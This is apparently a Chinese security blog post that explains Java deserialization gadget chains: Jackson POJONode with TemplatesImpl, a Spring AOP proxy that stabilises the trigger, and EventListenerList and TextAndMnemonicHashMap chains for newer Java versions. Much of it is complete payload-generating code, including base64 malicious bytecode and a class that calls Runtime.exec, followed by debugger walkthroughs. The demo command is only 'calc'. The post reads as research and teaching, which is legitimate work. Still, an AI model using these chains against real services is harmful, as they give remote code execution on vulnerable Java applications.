简单的反序列化demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.10.0</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.10.0</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.10.0</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.Base64;
public class Jackson1 { public static Object rtobject() throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(rtEvilObj()); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", node);
return val; } public static Object rtEvilObj() throws Exception { String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="; byte[] code = Base64.getDecoder().decode(base64Code); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "666"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); return obj; }
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { System.out.println(Base64.getEncoder().encodeToString(Output.serialize(rtobject()).toByteArray())); } }
|
在 SpringBoot 环境稳定触发 getOutputProperties
的方法
由于POJONode
的toString会调用TemplatesImpl
的所有getter方法,有时候容易卡在某个getter,使得利用十分不稳定,于是使用代理来限制只访问到getOutputProperties
一个getter。
1 2 3 4 5 6 7 8 9
| public static Object makeTemplatesImplAopProxy() throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(rtEvilObj()); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; }
|
advisedSupport
成员是一个 org.springframework.aop.framework.AdvisedSupport
类型的对象,可以设置代理目标为恶意TemplatesImpl对象,然后再传入InvocationHandler中。
当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。

所以这里Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
只能获取到TemplatesImpl
的getOutputProperties
方法,正好。
完整pyload:
1 2 3 4 5
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.30</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64;
public class Jackson { public static Object rtobject() throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(makeTemplatesImplAopProxy()); node.toString(); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", node);
return val; } public static Object rtEvilObj() throws Exception { String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="; byte[] code = Base64.getDecoder().decode(base64Code); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "666"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); return obj; }
public static Object makeTemplatesImplAopProxy() throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(rtEvilObj()); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { rtobject(); } }
|
调试过程
先进BadAttributeValueExpException的readObject,在这里触发toString

这里调的时候同样要注意关闭valObj的呈现器,不然idea的toString直接弹计算机了

跟进toString,来到BaseJsonNode

InternalNodeMapper

ObjectWriter

如果设置了Closeable,会自动关闭Closeable资源,_writeCloseable其实只是对serialize进行了封装,但是这对我们今天的分析无益,但是看到又这个又不好直接跳过。接下来我们直接进入serialize

这里面的代码还是比较清晰的,我们没有像这样指定rootType, Jackson会进入最后一个else自动推导,而 typeSerializer用来解析类型,valueSerializer用来解析值倒是很好理解
1 2
| ObjectWriter writer = mapper.writerFor(Number.class);
|

然后和fastjson很像,通过类型选择对应serializer

然后用相应ser继续解析

这个ser知道POJONode中有定义serialize,转而使用value的serializer

然后开始解析内层的proxy对象,即_value,按照标准serialize方式处理

然后当然又要根据它来选择seializer,这里是选上了BeanSerializer,这个方法里面已经把我们对象的方法信息储存在了_props中

然后我们的proxy对象直接改名成bean了,后面肯定得调getter了,继续跟进

对象方法信息从_props到props,再遍历props取出每个可用的getter方法调用包装,然后调用serializeAsField处理

然后就在这里反射调用了getOutputProperties方法

高版本java使用EventListenerList触发toString
高版本BadAttributeValueExpException
的代码也有变化,无法正常触发toString
所以在java17中我们常使用javax.swing.event.EventListenerList
来调用toString
写一个小demo
ToString.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import javax.swing.event.EventListenerList; import javax.swing.undo.CompoundEdit; import javax.swing.undo.UndoManager; import java.lang.reflect.Field; import java.util.Base64; import java.util.Map; import java.util.Vector;
public class ToString { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static Object getFieldValue(Class<?> clazz, Object obj, String name) throws Exception { Field f = clazz.getDeclaredField(name); f.setAccessible(true); return f.get(obj); } public static Object rtobject() throws Exception { UnsafeUtil.patchModule(ReflectUtil.class); ToStringEvil evil = new ToStringEvil(); EventListenerList list = new EventListenerList(); UndoManager undoManager = new UndoManager(); Vector vector = (Vector) getFieldValue(CompoundEdit.class ,undoManager, "edits"); vector.add(evil); setFieldValue(list, "listenerList", new Object[] { Map.class, undoManager }); return list; } public static void main(String[] args) throws Exception { System.out.println(Base64.getEncoder().encodeToString(Output.serialize(rtobject()).toByteArray())); }
}
|
ToStringEvil.java 模拟的rce问题类
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException; import java.io.Serializable;
class ToStringEvil implements Serializable { public String toString(){ try { return Runtime.getRuntime().exec("calc").toString(); } catch (IOException e) { throw new RuntimeException(e); } } }
|
这里通过反射改EventListenerList和UndoManager的值,肯定要设置一下,但是反序列化时是正常的
1 2
| --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED
|
调试过程
忽略呈现器,进入EventListenerList#readObject,l为UndoManager对象,继承UndoableEditListener->EditListener接口

add里面合并字符串触发UndoManager的toString

调用父类(CompoundEdit)的toString,而limit和indexOfNextAdd是int型无法利用

edits是Object型,可以利用

再调用vector的toString

到父类AbstractCollection的toString,跟进sb.append,传入的e是我们的恶意toString类

到StringBuilder的append方法,调用了String.valueOf

调用toString

高版本java使用TextAndMnemonicHashMap触发toString
TextAndMnemonicHashMap的get方法会调key的toString

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class JackTextAndMnemonicHashMap { public static void setFieldValue(Class clazz, Object obj, String fieldName, Object value) throws Exception { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object rtobject() throws Exception { ToStringEvil t = new ToStringEvil();
Class tex = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Constructor con=tex.getDeclaredConstructor(null); con.setAccessible(true); Map texmap1 =(Map) con.newInstance(); Map texmap2 =(Map) con.newInstance(); texmap1.put(t,993); texmap2.put(t,7);
Hashtable hashtable = new Hashtable(); hashtable.put(texmap1,777); hashtable.put(texmap2,999);
setFieldValue(Hashtable.class,hashtable, "loadFactor", 0.75f);
texmap1.put(t,null); texmap2.put(t,null); return hashtable; }
public static void main(String[] args)throws Exception { System.out.println(Base64.getEncoder().encodeToString(Output.serialize(rtobject()).toByteArray()));
} }
|
调试过程
先进Hashtable的readObject,先校验loadFactor

然后读出key和value存入table

如下,index相同时就调用key.equls,index

index的长度是通过计算key的hashCode返回值决定

把key和value放进hashmap中计算,取出texmap的key和value计算

所以我们texmap最后放进了两个相同的key、value

但是Hashtable的put也会类似于readHashtable方法的,也会计算index而调用equals(都是放入元素嘛)

所以我们先在texmap中放入不同的value再put进Hashtable

在equals中调用TextAndMnemonicHashMap#get

这里的value如果为null就触发key的toString

所以我们放入的null
